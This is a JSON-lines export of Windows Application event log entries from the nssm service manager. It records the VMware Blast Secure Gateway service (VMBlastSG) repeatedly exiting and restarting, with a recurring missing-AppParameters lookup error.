{"@timestamp":1646769481253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159964","0"]}}},"module":"Application","provider":"nssm","sequence":162914}}
{"@timestamp":1646769481253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159964","159964","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162915}}
{"@timestamp":1646769481270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162916}}
{"@timestamp":1646769481271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162917}}
{"@timestamp":1646769481271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162918}}
{"@timestamp":1646769481272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162919}}
{"@timestamp":1646769609780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162920}}
{"@timestamp":1646769609781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162921}}
{"@timestamp":1646769609781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156600","0"]}}},"module":"Application","provider":"nssm","sequence":162922}}
{"@timestamp":1646769609782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156600","156600","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162923}}
{"@timestamp":1646769609802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162924}}
{"@timestamp":1646769609803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162925}}
{"@timestamp":1646769609804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162926}}
{"@timestamp":1646769609804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162927}}
{"@timestamp":1646769738296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162928}}
{"@timestamp":1646769738297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162929}}
{"@timestamp":1646769738298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158880","0"]}}},"module":"Application","provider":"nssm","sequence":162930}}
{"@timestamp":1646769738298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158880","158880","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162931}}
{"@timestamp":1646769738316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162932}}
{"@timestamp":1646769738316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162933}}
{"@timestamp":1646769738317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162934}}
{"@timestamp":1646769738318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162935}}
{"@timestamp":1646769866956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162936}}
{"@timestamp":1646769866957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162937}}
{"@timestamp":1646769866957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160308","0"]}}},"module":"Application","provider":"nssm","sequence":162938}}
{"@timestamp":1646769866958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160308","160308","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162939}}
{"@timestamp":1646769866976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158552","0"]}}},"module":"Application","provider":"nssm","sequence":162940}}
{"@timestamp":1646769866976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158552","160308","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162941}}
{"@timestamp":1646769866991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162942}}
{"@timestamp":1646769866992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162943}}
{"@timestamp":1646769866992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162944}}
{"@timestamp":1646769866993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162945}}
{"@timestamp":1646769995425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162946}}
{"@timestamp":1646769995426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162947}}
{"@timestamp":1646769995428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159688","0"]}}},"module":"Application","provider":"nssm","sequence":162948}}
{"@timestamp":1646769995429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159688","159688","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162949}}
{"@timestamp":1646769995445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162950}}
{"@timestamp":1646769995445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162951}}
{"@timestamp":1646769995446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162952}}
{"@timestamp":1646769995447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162953}}
{"@timestamp":1646770123973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162954}}
{"@timestamp":1646770123974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162955}}
{"@timestamp":1646770123974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160068","0"]}}},"module":"Application","provider":"nssm","sequence":162956}}
{"@timestamp":1646770123975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160068","160068","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162957}}
{"@timestamp":1646770123991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162958}}
{"@timestamp":1646770123992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162959}}
{"@timestamp":1646770123992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162960}}
{"@timestamp":1646770123993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162961}}
{"@timestamp":1646770252617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162962}}
{"@timestamp":1646770252618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162963}}
{"@timestamp":1646770252619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158820","0"]}}},"module":"Application","provider":"nssm","sequence":162964}}
{"@timestamp":1646770252621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158820","158820","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162965}}
{"@timestamp":1646770252640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162966}}
{"@timestamp":1646770252641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162967}}
{"@timestamp":1646770252641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162968}}
{"@timestamp":1646770252642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162969}}
{"@timestamp":1646770381234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162970}}
{"@timestamp":1646770381235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162971}}
{"@timestamp":1646770381235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160040","0"]}}},"module":"Application","provider":"nssm","sequence":162972}}
{"@timestamp":1646770381236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160040","160040","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162973}}
{"@timestamp":1646770381252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162974}}
{"@timestamp":1646770381253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162975}}
{"@timestamp":1646770381253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162976}}
{"@timestamp":1646770381254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162977}}
{"@timestamp":1646770509801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162978}}
{"@timestamp":1646770509802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162979}}
{"@timestamp":1646770509803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159296","0"]}}},"module":"Application","provider":"nssm","sequence":162980}}
{"@timestamp":1646770509804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159296","159296","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162981}}
{"@timestamp":1646770509823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162982}}
{"@timestamp":1646770509824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162983}}
{"@timestamp":1646770509825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162984}}
{"@timestamp":1646770509826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162985}}
{"@timestamp":1646770638545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162986}}
{"@timestamp":1646770638547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162987}}
{"@timestamp":1646770638548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159992","0"]}}},"module":"Application","provider":"nssm","sequence":162988}}
{"@timestamp":1646770638549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159992","159992","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162989}}
{"@timestamp":1646770638566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162990}}
{"@timestamp":1646770638567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162991}}
{"@timestamp":1646770638567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162992}}
{"@timestamp":1646770638568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162993}}
{"@timestamp":1646770767106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162994}}
{"@timestamp":1646770767107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162995}}
{"@timestamp":1646770767108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159900","0"]}}},"module":"Application","provider":"nssm","sequence":162996}}
{"@timestamp":1646770767110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159900","159900","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162997}}
{"@timestamp":1646770767128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162998}}
{"@timestamp":1646770767129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162999}}
{"@timestamp":1646770767129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163000}}
{"@timestamp":1646770767130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163001}}
{"@timestamp":1646770895591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163002}}
{"@timestamp":1646770895593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163003}}
{"@timestamp":1646770895594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160480","0"]}}},"module":"Application","provider":"nssm","sequence":163004}}
{"@timestamp":1646770895594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160480","160480","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163005}}
{"@timestamp":1646770895611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163006}}
{"@timestamp":1646770895612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163007}}
{"@timestamp":1646770895613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163008}}
{"@timestamp":1646770895614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163009}}
{"@timestamp":1646771024075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163010}}
{"@timestamp":1646771024075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163011}}
{"@timestamp":1646771024076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158196","0"]}}},"module":"Application","provider":"nssm","sequence":163012}}
{"@timestamp":1646771024077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158196","158196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163013}}
{"@timestamp":1646771024097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163014}}
{"@timestamp":1646771024098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163015}}
{"@timestamp":1646771024098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163016}}
{"@timestamp":1646771024099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163017}}
{"@timestamp":1646771152591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163018}}
